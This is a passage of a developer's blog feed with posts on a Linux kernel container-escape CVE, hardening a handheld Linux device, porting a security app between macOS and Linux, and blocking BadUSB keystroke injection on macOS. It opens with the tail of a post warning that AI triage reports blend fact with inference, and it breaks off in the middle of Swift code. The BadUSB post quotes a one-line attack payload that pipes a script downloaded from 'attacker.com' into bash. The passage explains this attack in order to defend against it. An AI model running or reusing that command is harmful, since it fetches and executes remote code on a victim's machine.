&lt;p&gt;It's hedged with "presumed," and it reads persuasively, which is exactly what makes it dangerous. Under time pressure, a bolded conclusion and a quietly-hedged guess get read with the same weight.&lt;/p&gt;

&lt;p&gt;This isn't a flaw specific to this model or this drill. Every report an AI hands you like this mixes two different things into one continuous block of text, confirmed fact (what the tool actually returned) and inference the model constructed on top of it. This time the mistake was harmless. But imagine it had said "there's evidence of communication with IP address X" instead, the kind of claim that actually steers your response.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. What's left for the human isn't reading the report, it's verifying it
&lt;/h2&gt;

&lt;p&gt;If you're actually going to act on a report like this, there are three things worth doing every time.&lt;/p&gt;

&lt;p&gt;First, cross-check every proper noun and number against the tool's raw data. Process names, PIDs, port numbers, timestamps: you can verify these on the spot against what &lt;code&gt;get_port_anomaly_incidents&lt;/code&gt; or &lt;code&gt;get_canary_status&lt;/code&gt; actually returned. That part deserves your trust. Second, treat every causal claim as a hypothesis. "A caused B," "this is part of the same attack," these are the model's interpretation, not fact, and as this drill showed, they can look plausible on a timeline and still be groundless. Third, pause before acting on anything irreversible. &lt;code&gt;kill -9&lt;/code&gt;, a clean reinstall, read the timeline and the recommended actions as two separate things, and don't take the second on faith just because the first checked out.&lt;/p&gt;

&lt;p&gt;Handing investigation and synthesis to an AI agent, while keeping the final call for yourself (did this actually happen, does this actually need this response), is the division of labor this drill made concrete for me.&lt;/p&gt;

&lt;p&gt;The point of a fire drill was never putting out a fire. It's confirming that you and your equipment actually work when it counts. And what I got out of this one is real confidence that a local LLM can carry the weight of first-pass triage even with the network completely severed. Just remember that the reliable partner you're leaning on is also, occasionally, a very confident liar. I'll keep that in mind for the next drill.&lt;/p&gt;




&lt;ul&gt;
&lt;li&gt;RoamSwitch for Linux: &lt;a href="https://lafine.net/linux" rel="noopener noreferrer"&gt;https://lafine.net/linux&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;MCP setup guide: &lt;a href="https://lafine.net/mcp-setup.html" rel="noopener noreferrer"&gt;https://lafine.net/mcp-setup.html&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>security</category>
      <category>mcp</category>
      <category>linux</category>
      <category>ai</category>
    </item>
    <item>
      <title>Your containers are not a security boundary, and CVE-2026-53362 just proved it</title>
      <dc:creator>Tetsuharu Fujiki</dc:creator>
      <pubDate>Sun, 06 Sep 2026 18:18:21 +0000</pubDate>
      <link>https://dev.to/lafine_systemsdesign/your-containers-are-not-a-security-boundary-what-cve-2026-53362-taught-me-the-hard-way-4p6i</link>
      <guid>https://dev.to/lafine_systemsdesign/your-containers-are-not-a-security-boundary-what-cve-2026-53362-taught-me-the-hard-way-4p6i</guid>
      <description>&lt;p&gt;On August 27, 2026, CISA added another Linux kernel vulnerability to its Known Exploited Vulnerabilities catalog. CVE-2026-53362, nicknamed "Frag Gap." An out-of-bounds write in the IPv6 fragmentation path. CVSS 7.8. Already being exploited in the wild.&lt;/p&gt;

&lt;p&gt;When news like this shows up, I've noticed engineers around me split into two camps. One says "we run everything in Kubernetes, so this doesn't really touch us." The other camp skims the headline and moves on within a few seconds. Looking back, both end up at the same blind spot.&lt;/p&gt;

&lt;p&gt;I'll admit it honestly: for a long time, I was closer to the first camp.&lt;/p&gt;

&lt;p&gt;I don't think this assumption comes from carelessness. It's closer to a structural misunderstanding that container tooling quietly plants in you, precisely because it's so well engineered.&lt;/p&gt;

&lt;p&gt;Part of it is just over-trust in the word "isolation." Containers get described as "lightweight VMs" or "fully independent environments," and that framing pairs nicely with how disposable they feel (something breaks, you just throw the container away) until you genuinely believe nothing that happens inside can ever reach outside.&lt;/p&gt;

&lt;p&gt;Carrying over habits from hypervisor-based virtual machines doesn't help either. A traditional VM (an EC2 instance, VMware, VirtualBox) really does have its guest kernel physically separated from the host by a hypervisor. Keep that mental model and move to Docker or Kubernetes, and it feels obvious that "breaking out of a container to affect the host" simply isn't a thing.&lt;/p&gt;

&lt;p&gt;And then there's infrastructure-as-code quietly making the base OS invisible. A developer today can write a Dockerfile, build it in CI, and ship to a managed container platform without ever touching the underlying Linux kernel directly. Something you never interact with is easy to stop thinking about entirely.&lt;/p&gt;

&lt;p&gt;But a container is not an operating system. It's not a virtual machine emulating separate hardware and booting an entirely different kernel. The Linux kernel a container uses is the exact same, single kernel the host is running. Namespaces restrict what a process can &lt;em&gt;see&lt;/em&gt;. They don't give each container its own copy of the kernel to run code against. Every process, containerized or not, ultimately lands in the same kernel space.&lt;/p&gt;

&lt;p&gt;If a VM is a standalone house with its own foundation, a container is more like a room in a shared house. Your room is walled off and comfortable, and you can't see what your housemates are doing. But the plumbing running under the floor, the kernel, is shared by everyone in the building. Crack that pipe, and it doesn't matter how tidy your own room is; the whole house floods.&lt;/p&gt;

&lt;p&gt;Understanding this on an intellectual level is one thing. Actually feeling, in your gut, that "a process inside a container can reach in and directly corrupt the host's kernel memory" is another. Firewalled. Containerized. Isolated. Layer these reassurances on top of each other long enough, and your attention quietly drifts away from the one-piece-of-rock kernel sitting underneath all of it.&lt;/p&gt;

&lt;p&gt;Frag Gap is dangerous precisely because it exploits that blind spot. The attack never starts with the kernel bug itself. It starts with a foothold: a vulnerable web app, a poisoned npm package, a stolen SSH key — anything that gets you unprivileged code execution somewhere. From there, if that process can create a UDP socket (which almost none of them are prevented from doing), it can abuse IPv6 fragment handling to overwrite kernel memory directly and walk straight out of the container onto the host, as root.&lt;/p&gt;

&lt;p&gt;And because this attack rewrites trust structures inside the kernel itself, it takes SELinux-style mandatory access control down with it. Two defensive lines a lot of teams lean on ("we're containerized" and "we have SELinux enforcing") go dark in the same instant.&lt;/p&gt;

&lt;p&gt;I build a defensive security app for Linux (&lt;a href="https://lafine.net/linux.html" rel="noopener noreferrer"&gt;RoamSwitch&lt;/a&gt;) as an independent developer, and following this story, I went back to my own code in a bit of a panic. Sure enough, most of my existing protections were built around inbound packets and filesystem writes, watching things arrive from the outside. None of them were designed to catch "a process that's already running inside the box, reaching directly into the kernel through a syscall." That gap was structural, not a bug I'd missed.&lt;/p&gt;

&lt;p&gt;Over the following days I added a kernel-level toggle that denies unprivileged processes the ability to create a new user namespace, and confirmed, as an unprivileged user, that &lt;code&gt;unshare -U -r&lt;/code&gt; now returns &lt;code&gt;Operation not permitted&lt;/code&gt;. That felt like progress. It also left me with a distinct unease: I hadn't fixed the vulnerability. I had closed one of the doors an attacker uses to reach it. The hole in the kernel itself stays open until a real patch lands.&lt;/p&gt;

&lt;p&gt;And closing that door has its own cost. Blocking unprivileged user namespaces also breaks rootless Docker, rootless Podman, and browser sandboxing features that rely on the exact same kernel mechanism for entirely legitimate reasons. Behind the very door I closed to protect people, some of their everyday developer workflow was sitting there too. Not exactly a clean win.&lt;/p&gt;

&lt;p&gt;What stuck with me from this whole exercise is a sentence that's obvious once you say it out loud, but easy to forget day to day: a container is a boundary, not an exemption. Containers are a genuinely great piece of technology. They make development dramatically better. But what they mainly give you is the &lt;em&gt;appearance&lt;/em&gt; of process and filesystem separation, not protection for the single slab of kernel underneath all of it. If that slab cracks, it doesn't matter how neatly the boxes on top of it are arranged.&lt;/p&gt;

&lt;p&gt;As someone who builds security software, I'll say this plainly: shipping a mitigation like this doesn't earn me the right to say "you're safe now." Only a distribution's kernel patch actually fixes the vulnerability. All a tool like mine can do is narrow the paths an attacker can use while that patch is on its way, and try to notice abnormal behavior sooner rather than later. Hardening a system and fixing a vulnerability look similar from a distance, but they are not the same job. This was a useful, slightly humbling reminder of that.&lt;/p&gt;

&lt;p&gt;If you're reading this and you run web services in containers, and you genuinely can't say when you last checked the kernel version on the host underneath them, that's probably not because containers made it unnecessary. It's more likely that nothing forced your attention there. It might be worth running that one command today.&lt;/p&gt;

&lt;p&gt;If you want to take it a step further as a team, wire a scanner like Trivy or Grype into your CI/CD pipeline so it surfaces CVEs in your base image, not just your application code. Don't rely on any one person remembering to check. Build a system where the floor stays safe whether anyone's thinking about it or not. However tidy the rooms look on the inside, if the shared plumbing gives way, everyone goes down with it.&lt;/p&gt;

</description>
      <category>linux</category>
      <category>docker</category>
      <category>kernel</category>
      <category>security</category>
    </item>
    <item>
      <title>Running defensive security on a Clockwork uConsole, and why edge Linux needs its own shield</title>
      <dc:creator>Tetsuharu Fujiki</dc:creator>
      <pubDate>Sat, 05 Sep 2026 12:33:57 +0000</pubDate>
      <link>https://dev.to/lafine_systemsdesign/running-defensive-security-on-a-clockwork-uconsole-and-why-edge-linux-needs-its-own-shield-257a</link>
      <guid>https://dev.to/lafine_systemsdesign/running-defensive-security-on-a-clockwork-uconsole-and-why-edge-linux-needs-its-own-shield-257a</guid>
      <description>&lt;p&gt;I carry around a Clockwork uConsole, a handheld Linux computer that feels like an artifact from a cyberpunk novel. It has a tiny mechanical keyboard, an integrated display, and a machined chassis housing a Raspberry Pi Compute Module 4. Instead of sitting at a desk, I use it lying in bed to write code, or pull it out while traveling to test features on the go. Having a full-fledged Linux development terminal right in your hands without needing a desk is surprisingly addicting.&lt;/p&gt;

&lt;p&gt;Yet as I kept writing code under the covers and testing builds on mobile hotspots or transit networks, a practical question kept coming back to me. How secure is this portable Linux terminal when it actually faces an untrusted network.&lt;/p&gt;

&lt;p&gt;On desktop operating systems, we take multiple layers of background defense for granted. On edge devices and single-board computers, however, getting the system to boot and run your code usually consumes all the attention, leaving security as an afterthought.&lt;/p&gt;

&lt;p&gt;To see what was actually going on under the hood, I installed RoamSwitch, the defensive security suite I build for Linux, onto the uConsole and ran its twenty-point system audit.&lt;/p&gt;

&lt;p&gt;The dashboard returned an overall score of ninety out of one hundred. It looked reassuring at first glance. But looking through the specific flags and audit notes, the structural vulnerabilities peculiar to edge hardware quickly became obvious.&lt;/p&gt;

&lt;p&gt;The first notable item was UEFI Secure Boot, marked explicitly as not applicable. The Raspberry Pi boot architecture uses its own proprietary firmware bootloader rather than a standard UEFI firmware interface, meaning it cannot verify the cryptographic signature of the operating system bootloader. In the audit engine, we detect the board through the device tree model and CPU hardware identifiers, skipping this check entirely because the underlying silicon simply cannot provide that guarantee.&lt;/p&gt;

&lt;p&gt;Directly above that was a warning regarding disk encryption. Operating systems on single-board computers run almost universally on microSD cards or raw eMMC storage without LUKS disk encryption. The installation process for full-disk encryption on these devices remains tedious, and most people skip it to avoid write penalties or recovery friction.&lt;/p&gt;

&lt;p&gt;In short, these small machines have almost no defense at the physical or firmware level. If the hardware is taken or the storage card is pulled, the system offers no resistance before the operating system boots.&lt;/p&gt;

&lt;p&gt;The risk multiplies the moment an edge device connects to a network.&lt;/p&gt;

&lt;p&gt;When developers run software on a Raspberry Pi, they typically spin up local Web servers, development dashboards, or local language model inference engines. Most modern frameworks bind to all available network interfaces by default when explicit configuration is omitted.&lt;/p&gt;

&lt;p&gt;While testing locally in bed on a home connection, this oversight usually goes unnoticed. But the moment you take that portable terminal on the road, tethering to a smartphone hotspot or connecting to a shared network to test builds, those listening ports become instantly visible to other devices on the subnet.&lt;/p&gt;

&lt;p&gt;Scanning an unfamiliar subnet for open development ports takes only a single command. If the public router lacks strict client isolation, anyone on the same wireless connection can send requests straight into your handheld development environment.&lt;/p&gt;

&lt;p&gt;Since the hardware and bootloader cannot protect the device, the entire defensive responsibility falls directly onto the operating system kernel and the network layer.&lt;/p&gt;

&lt;p&gt;Hardening the kernel on ARM Linux comes with its own quirks. While building the Yama Linux Security Module protections, I found that even if a Raspberry Pi kernel is compiled with Yama support, the sysctl path for ptrace_scope will not exist unless yama is explicitly declared in the bootloader parameter list. We had to account for editing the cmdline file so that memory inspection between processes could actually be restricted. Alongside that, sysctl parameters enforce SYN cookies against flood attacks and enable strict reverse path filtering against spoofed packets. The daemon also pins the default gateway MAC address as permanent in the neighbor table to prevent ARP spoofing entirely.&lt;/p&gt;

&lt;p&gt;At the network boundary, the background daemon monitors network interfaces. The moment the machine joins an unrecognized network, nftables rules silently drop all incoming traffic from the external local area network. Local processes can still reach their own listening ports on localhost, but from the outside perspective, the machine simply does not respond.&lt;/p&gt;

&lt;p&gt;I also added an emergency cutoff switch on the interface to drop all physical wireless output. This talks directly to the Linux rfkill subsystem, halting Wi-Fi and Bluetooth transmission at the hardware controller level. When dealing with portable field equipment, having an instantaneous way to sever radio communication without hunting through network menus is an essential fallback.&lt;/p&gt;

&lt;p&gt;Traditional enterprise security agents rarely fit this environment. They are typically too heavy for low-power ARM boards, consume significant processor time, and constantly stream megabytes of telemetry back to cloud servers. When running on a cellular hotspot or a constrained connection, an edge machine should not be wasting bandwidth on external analytics.&lt;/p&gt;

&lt;p&gt;What edge Linux truly needs is quiet, self-contained protection that operates entirely on the device without relying on external infrastructure.&lt;/p&gt;

&lt;p&gt;Small portable machines give us tremendous freedom to build and experiment wherever we go. But on an open field, you have to build your own walls. Watching the defensive indicators keep watch on that compact screen, I am reminded once again of the true spirit of Linux, where building security is simply part of taking ownership of your machine.&lt;/p&gt;

</description>
      <category>linux</category>
      <category>raspberrypi</category>
      <category>security</category>
      <category>programming</category>
    </item>
    <item>
      <title>macOS is LEGO. Linux is Minecraft. Notes from building the same app in both.</title>
      <dc:creator>Tetsuharu Fujiki</dc:creator>
      <pubDate>Wed, 02 Sep 2026 06:19:04 +0000</pubDate>
      <link>https://dev.to/lafine_systemsdesign/macos-is-lego-linux-is-minecraft-notes-from-building-the-same-app-in-both-29li</link>
      <guid>https://dev.to/lafine_systemsdesign/macos-is-lego-linux-is-minecraft-notes-from-building-the-same-app-in-both-29li</guid>
      <description>&lt;p&gt;&lt;em&gt;A Japanese version of this is &lt;a href="https://note.com/lafine/n/n358f6c887f29" rel="noopener noreferrer"&gt;on Note&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Building an app for a Mac is like LEGO.&lt;/p&gt;

&lt;p&gt;The box comes full of well-made, standardized parts: tidy UI pieces, a finished Unix environment (a properly UNIX-certified one, at that), a huge shelf of compatible parts in Homebrew. Follow the booklet and even one person working alone can put together something that looks decent and holds up.&lt;/p&gt;

&lt;p&gt;But LEGO has shapes that click and shapes that don't. Try to force a part that isn't cut to the stud system and it simply won't attach. On macOS that stud system is code signing, notarization, entitlements, SIP. Inside the standard it's comfortable; the moment you reach outside it, you're refused.&lt;/p&gt;

&lt;p&gt;Linux was Minecraft.&lt;/p&gt;

&lt;p&gt;You spawn on an empty patch of ground with nothing around you. Punch a tree for an axe, mine ore for tools, wire up redstone for automation. The ceiling is basically infinite, but for a while the environment-building itself — wrestling config files, installing what you need by hand — is the game. And when night falls, mobs come. You build the walls yourself.&lt;/p&gt;

&lt;p&gt;I took the same thing, a background security app I wrote, and assembled it in both. I was planning a port. Swap &lt;code&gt;pf&lt;/code&gt; for &lt;code&gt;nftables&lt;/code&gt;, Swift for Rust, the AppKit menu bar for a GTK tray, done.&lt;/p&gt;

&lt;p&gt;What I felt building it is that the difference isn't in the parts. It's that &lt;strong&gt;who looks after safety and trust is arranged differently from the start.&lt;/strong&gt; At least that's how it looked to me, assembling the same app twice. And the thing I build lands right on that.&lt;/p&gt;

&lt;h2&gt;
  
  
  The booklet, and the parts that don't fit
&lt;/h2&gt;

&lt;p&gt;macOS has a clear approach: don't make users evaluate developers. The box does it for them.&lt;/p&gt;

&lt;p&gt;Apple checks the signature, runs the notarization, reviews the entitlements. A user never has to ask "can I trust this developer?" When you buy a sealed official LEGO set, you don't inspect every brick; you trust the stamp on the box. Even an app from an unknown individual like me, once it clears that, gets trusted because the user trusts Apple and that trust carries through.&lt;/p&gt;

&lt;p&gt;From a developer's seat it's cramped. The shapes you can build are fixed up front, and anything off-spec means requesting permission one piece at a time. The entitlements for Network Extension and Endpoint Security go through an Apple request process that can take months, or come back denied.&lt;/p&gt;

&lt;p&gt;But that cramped feeling is also the guarantee to the user. &lt;strong&gt;This app can't get outside the standard.&lt;/strong&gt; It can't do anything outside its entitlements, and the places SIP protects are off-limits even to root. If one bad brick gets in, the whole build is meshed on the same stud system, so it's less likely to bring the structure down. The box carries part of the strength. The friction is, I think, a deliberate design choice.&lt;/p&gt;

&lt;p&gt;(That said, when App Translocation broke my entire first-run flow, I did think "okay, this is overprotective.")&lt;/p&gt;

&lt;h2&gt;
  
  
  Spawning on empty ground
&lt;/h2&gt;

&lt;p&gt;Linux doesn't have that box.&lt;/p&gt;

&lt;p&gt;Peering at the whole filesystem with fanotify, rewriting the entire &lt;code&gt;nftables&lt;/code&gt; ruleset, sending &lt;code&gt;SIGSTOP&lt;/code&gt; to freeze somebody else's process — as root you can do all of it. Like breaking any block in creative mode, there's no mechanism that stops you at "that's too far." The moment your systemd daemon starts, it can do almost anything on the machine.&lt;/p&gt;

&lt;p&gt;"Root can do anything" is an assumption that runs back through Unix. The awkward wrinkle: the one that actually holds The Open Group's UNIX certification is macOS (UNIX 03, going back to Mac OS X 10.5); Linux is a Unix-&lt;em&gt;like&lt;/em&gt; system that implements the same conventions independently and has never been certified. And yet it's Linux that keeps the old "the administrator can touch everything" assumption plainly intact, while certified-UNIX macOS is the one layering SIP, the sandbox, and entitlements on top — places root can't reach. It's not about which is the "real" one. From the same starting point, the two picked opposite directions.&lt;/p&gt;

&lt;p&gt;Freedom, if you want to call it that. But carrying a security app into it, it's mostly unnerving. &lt;strong&gt;Nobody hands you the guarantee that "this app won't go rogue."&lt;/strong&gt; You write it yourself.&lt;/p&gt;

&lt;p&gt;My app detects bulk ransomware encryption by spotting "one process creating a lot of high-entropy files in a short window," then freezes the culprit with &lt;code&gt;SIGSTOP&lt;/code&gt;. The Mac version has the same logic. But on a Mac I can't reach into arbitrary processes without limit in the first place. On Linux I can, so I ended up hardcoding a list of things to &lt;em&gt;never&lt;/em&gt; freeze: &lt;code&gt;systemd&lt;/code&gt;, &lt;code&gt;dockerd&lt;/code&gt;, &lt;code&gt;NetworkManager&lt;/code&gt;, and friends.&lt;/p&gt;

&lt;p&gt;Before that list existed, testing on my own machine, I misfired on &lt;code&gt;shred&lt;/code&gt;, flagged it as ransomware, and went to freeze it. The daemon ballooned to 1.8 GB of RAM, hung for 30 seconds, and got killed by the systemd watchdog. All that was left in my home directory was one half-written mystery file. (Fixed since.) On a Mac that's the class of accident that would have stopped a step earlier.&lt;/p&gt;

&lt;p&gt;So building the walls before nightfall was entirely on me. The emergency cutoff auto-releases on a timer. All firewall-touching code funnels through one place so two features can't write &lt;code&gt;nftables&lt;/code&gt; at once. The line the box won't draw, I drew inside my own code.&lt;/p&gt;

&lt;p&gt;But I drew it the way this world does things, or tried to. Everything opt-in, releasable at any time, and it expires on its own if you leave it. An app that's supposed to protect you shouldn't be the thing that overrides "the administrator is sovereign."&lt;/p&gt;

&lt;h2&gt;
  
  
  Assembly conventions
&lt;/h2&gt;

&lt;p&gt;The difference in thinking shows up in the small stuff.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Firewall.&lt;/strong&gt; macOS &lt;code&gt;pf&lt;/code&gt; just wants an anchor; coexisting with everything else is assumed. Linux &lt;code&gt;nftables&lt;/code&gt;, even with a dedicated table, shares one netfilter space with ufw, firewalld, and Docker. If someone runs &lt;code&gt;nft flush ruleset&lt;/code&gt;, all of it goes, Docker's rules included. You watch your own rules.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Signing.&lt;/strong&gt; macOS: Apple's notary service. The stamp belongs to whoever owns the box; I run every build through it. Linux: I sign with my own GPG key and put the fingerprint in the &lt;code&gt;PKGBUILD&lt;/code&gt;'s &lt;code&gt;validpgpkeys&lt;/code&gt;. The trust starts with me. (The AUR currently has new-account registration disabled while it cleans up a wave of malicious packages, so one route in is just closed. A system with no central desk is fragile in spots like this.)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Config file.&lt;/strong&gt; macOS: a plist and &lt;code&gt;UserDefaults&lt;/code&gt;, effectively unreadable to the user. Linux: plaintext at &lt;code&gt;~/.config/roamswitch/config.json&lt;/code&gt;, where it's simply assumed the user can see exactly which block went where.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Uninstall.&lt;/strong&gt; macOS: drag to Trash, done (and the helper leaves residue for a while). Linux: &lt;code&gt;apt remove&lt;/code&gt; is expected to cleanly clear away everything you placed, and that's on the package.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Launch at login.&lt;/strong&gt; macOS: one &lt;code&gt;SMAppService&lt;/code&gt; call. Linux: two places, an XDG autostart entry and a &lt;code&gt;systemd --user&lt;/code&gt; unit, and turning it &lt;em&gt;fully&lt;/em&gt; off was quietly hard (one half kept coming back).&lt;/p&gt;

&lt;h2&gt;
  
  
  Earning a stranger's trust
&lt;/h2&gt;

&lt;p&gt;The place the two diverged most was how you earn trust.&lt;/p&gt;

&lt;p&gt;On macOS, the box's stamp &lt;em&gt;is&lt;/em&gt; the trust. A closed-source paid app is normal and mostly nobody asks why. Notarization passed; that's often enough.&lt;/p&gt;

&lt;p&gt;Do the same on Linux and "why isn't this open source?" is the first question. It's the same reason nobody on a multiplayer server installs a stranger's mod without reading it. A lot of people here put "you can read the source" at the front of what trust means, and "someone important vouched for it" carries less weight. It's the culture that grew up saying "given enough eyeballs, all bugs are shallow."&lt;/p&gt;

&lt;p&gt;So I kept the source closed but wrote the whole design into a whitepaper and shipped a set of commands the user can run to confirm the app never talks outside: &lt;code&gt;ldd&lt;/code&gt; to see no HTTP library is linked, &lt;code&gt;ss&lt;/code&gt; to see there's not one outbound socket, &lt;code&gt;strace&lt;/code&gt; to see every &lt;code&gt;connect&lt;/code&gt; goes to AF_UNIX. If the box won't vouch for you, you open up what you built and show people.&lt;/p&gt;

&lt;h2&gt;
  
  
  Looking back
&lt;/h2&gt;

&lt;p&gt;I don't think this is a question of which one is right.&lt;/p&gt;

&lt;p&gt;macOS's friction annoys developers. But for users it's the comfort of "even if I install something sketchy, the box catches some of it." Linux's freedom lets you build anything, at the cost of owning your own strength and your own trust.&lt;/p&gt;

&lt;p&gt;Assembling the same app in both taught me the difference isn't in features. It changes &lt;strong&gt;what the work is.&lt;/strong&gt; On macOS my job was to build neatly inside the standard. On Linux my job is to set the standard myself, be careful it doesn't trample the resident's sovereignty, and — since "I set it myself" convinces nobody — show every part of it.&lt;/p&gt;

&lt;p&gt;For someone who kept groaning about the booklet, a world without one is surprisingly tiring. But a line I drew myself, I can at least explain the whole reason for. That's not nothing.&lt;/p&gt;




&lt;p&gt;The app is &lt;a href="https://lafine.net/linux" rel="noopener noreferrer"&gt;RoamSwitch&lt;/a&gt;. The Linux version is free for personal use. Full design details are in the &lt;a href="https://lafine.net/linux/whitepaper.en" rel="noopener noreferrer"&gt;whitepaper&lt;/a&gt;; the hands-on write-ups are on Zenn (Japanese).&lt;/p&gt;

</description>
      <category>linux</category>
      <category>macos</category>
      <category>programming</category>
      <category>security</category>
    </item>
    <item>
      <title>Dropping BadUSB Keystrokes on macOS Before They Open Spotlight</title>
      <dc:creator>Tetsuharu Fujiki</dc:creator>
      <pubDate>Mon, 31 Aug 2026 16:55:42 +0000</pubDate>
      <link>https://dev.to/lafine_systemsdesign/dropping-badusb-keystrokes-on-macos-before-they-open-spotlight-3of8</link>
      <guid>https://dev.to/lafine_systemsdesign/dropping-badusb-keystrokes-on-macos-before-they-open-spotlight-3of8</guid>
      <description>&lt;p&gt;A few weeks ago, I watched a demonstration of an &lt;strong&gt;OMG Cable&lt;/strong&gt; attacking a Mac. &lt;/p&gt;

&lt;p&gt;If you haven't seen one in person, it is genuinely unnerving. The cable looks 100% identical to a standard braided USB-C charging cord. It charges an iPhone normally. But the instant you plug it into a laptop, an embedded microcontroller registers as a virtual USB keyboard and blasts keystrokes at over 1,000 words per minute.&lt;/p&gt;

&lt;p&gt;Before your brain even registers that a device was plugged in, you see Spotlight flicker for a fraction of a second, Terminal pops up, and a one-line payload is executed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Cmd+Space ➔ &lt;span class="s2"&gt;"terminal"&lt;/span&gt; ➔ Enter ➔ curl &lt;span class="nt"&gt;-sL&lt;/span&gt; https://attacker.com/payload | bash ➔ Cmd+Q
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The entire compromise happens in under 500 milliseconds. No downloaded file to double-click. No browser prompt. Just an innocent-looking charging cable.&lt;/p&gt;

&lt;p&gt;While building &lt;a href="https://lafine.net/" rel="noopener noreferrer"&gt;RoamSwitch&lt;/a&gt;, a lightweight macOS security utility, I realized our digital perimeter doesn't mean much if someone can compromise the local shell with physical access. &lt;/p&gt;

&lt;p&gt;Here is how I implemented a physical keystroke-quarantine guard in Swift that drops BadUSB keystrokes in flight before macOS can process them.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why macOS Doesn't Stop This Out of the Box
&lt;/h2&gt;

&lt;p&gt;Apple introduced the &lt;em&gt;"Allow accessory to connect?"&lt;/em&gt; dialog in macOS Ventura, which was a welcome step forward for USB-C security. But against a BadUSB cable, it runs into two practical problems:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;The user already wants to connect it&lt;/strong&gt;: If you borrowed a cable to charge your dying battery, you will click "Allow" without hesitation.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;OS trust architecture&lt;/strong&gt;: Once authorized at the bus level, macOS treats USB keyboards as trusted human input. There is no OS-level check to ask &lt;em&gt;"is a human finger physically pressing these keys, or is a microchip spamming 100 keystrokes a millisecond?"&lt;/em&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;To macOS, every keystroke received from an authorized HID keyboard represents the direct, intentional command of the logged-in user.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Quarantine Strategy: Drop Everything First
&lt;/h2&gt;

&lt;p&gt;If you wait for a user to read an alert and click "Block," you've already lost. A BadUSB payload finishes before the human eye can even focus on a notification banner.&lt;/p&gt;

&lt;p&gt;The only way to win this race is &lt;strong&gt;fail-closed quarantine&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[New USB Keyboard / BadUSB Inserted]
                 │
                 ▼
     [IOHIDManager Callback]
  (Detects non-whitelisted device)
                 │
                 ▼
    [Set isBlockingActive = true]
                 │
                 ▼
       [CGEventTap Callback]
(Returns nil for all key events: instant drop!)
                 │
                 ▼
  [Display Modal: "Did you plug this in?"]
   ├── User clicks "Approve": Whitelist &amp;amp; unblock
   └── User clicks "Reject": Keep blocked indefinitely
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The moment a physical USB keyboard is plugged in:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;IOHIDManager&lt;/code&gt; catches the attachment event.&lt;/li&gt;
&lt;li&gt;If the device's hardware identity isn't already on the local whitelist, we immediately set &lt;code&gt;isBlockingActive = true&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;A system-wide &lt;code&gt;CGEventTap&lt;/code&gt; sitting at the very head of the HID event queue begins returning &lt;code&gt;nil&lt;/code&gt; for all &lt;code&gt;keyDown&lt;/code&gt;, &lt;code&gt;keyUp&lt;/code&gt;, and modifier events.&lt;/li&gt;
&lt;li&gt;The 1,000 WPM script screams into the void. Not a single character reaches Spotlight or Terminal.&lt;/li&gt;
&lt;li&gt;An interactive modal pops up on screen: &lt;em&gt;"New keyboard detected. Did you plug this in?"&lt;/em&gt;
&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  The Swift Implementation: Why User Space Wins Over DriverKit
&lt;/h2&gt;

&lt;p&gt;The purist approach to USB security is writing a &lt;strong&gt;DriverKit&lt;/strong&gt; System Extension (&lt;code&gt;com.apple.developer.driverkit.transport.usb&lt;/code&gt;). But for an indie macOS utility, DriverKit introduces massive practical friction:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Apple-Gated Entitlements&lt;/strong&gt;: USB transport drivers require special developer entitlements that require manual application and lengthy approval cycles from Apple.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Install Friction&lt;/strong&gt;: System Extensions demand administrator prompts, navigating System Settings security panes, and often requiring system reboots.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Crash Blast Radius&lt;/strong&gt;: A bug in a low-level driver can panic the entire system.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Instead, we can achieve identical protection entirely in user space by pairing two native macOS subsystems: &lt;strong&gt;&lt;code&gt;IOHIDManager&lt;/code&gt;&lt;/strong&gt; (for hardware topology monitoring) and &lt;strong&gt;&lt;code&gt;CGEventTap&lt;/code&gt;&lt;/strong&gt; (for low-latency keystroke filtering using standard Accessibility permissions). It requires zero reboots, zero custom kernel drivers, and zero special Apple entitlement requests.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Detecting Physical Insertion with &lt;code&gt;IOHIDManager&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;We register an &lt;code&gt;IOHIDManager&lt;/code&gt; on the main runloop configured to match generic desktop keyboard devices:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;&lt;span class="kd"&gt;import&lt;/span&gt; &lt;span class="kt"&gt;IOKit&lt;/span&gt;
&lt;span class="kd"&gt;import&lt;/span&gt; &lt;span class="kt"&gt;IOKit&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hid&lt;/span&gt;

&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="nf"&gt;startHIDMonitoring&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
